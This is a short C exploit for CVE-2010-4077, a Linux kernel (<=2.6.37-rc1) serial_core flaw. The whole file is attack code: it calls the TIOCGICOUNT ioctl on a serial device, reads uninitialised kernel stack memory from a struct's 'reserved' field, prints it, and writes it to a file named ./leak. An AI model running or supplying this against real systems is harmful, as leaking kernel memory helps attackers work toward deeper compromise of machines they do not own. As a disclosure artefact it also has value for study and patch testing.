/* Linux <=2.6.37-rc1 serial_core TIOCGICOUNT leak
* ================================================
* Information leak exploit for CVE-2010-4077 which
* leaks kernel stack space back to userland due to
* uninitialized struct member "reserved"in struct
* serial_icounter_struct copied to userland. uses
* ioctl to trigger memory leak, dumps to file and
* displays to command line.
*
* -- prdelka
*
*/
#include <termios.h>#include <fcntl.h>#include <sys/ioctl.h>#include <linux/serial.h>#include <stdio.h>#include <stdlib.h> #include <string.h>
int main(int argc, char* argv[]){
int fd, ret =0, i;
struct serial_icounter_struct buffer;
printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");
if(argc <2){
printf("[ You need to supply a device name e.g. /dev/ttyS0\n");
exit(-1);};
memset(&buffer,0,sizeof(buffer));if((fd = open(argv[1], O_RDONLY))== -1){
printf("[ Couldn't open %s\n",argv[1]);
exit(-1);}if((ioctl(fd, TIOCGICOUNT,&buffer))== -1){
printf("[ Problem with ioctl() request\n");
exit(-1);}
close(fd);
for(i=0;i<=9;i++){
printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);};if((fd = open("./leak", O_RDWR | O_CREAT,0640))== -1){
printf("[ Can't open file to write memory out\n");
exit(-1);}
for(i=0;i<=9;i++){
ret += write(fd,&buffer.reserved[i],sizeof(int));}
close(fd);
printf("[ Written %d leaked bytes to ./leak\n",ret);
exit(0);}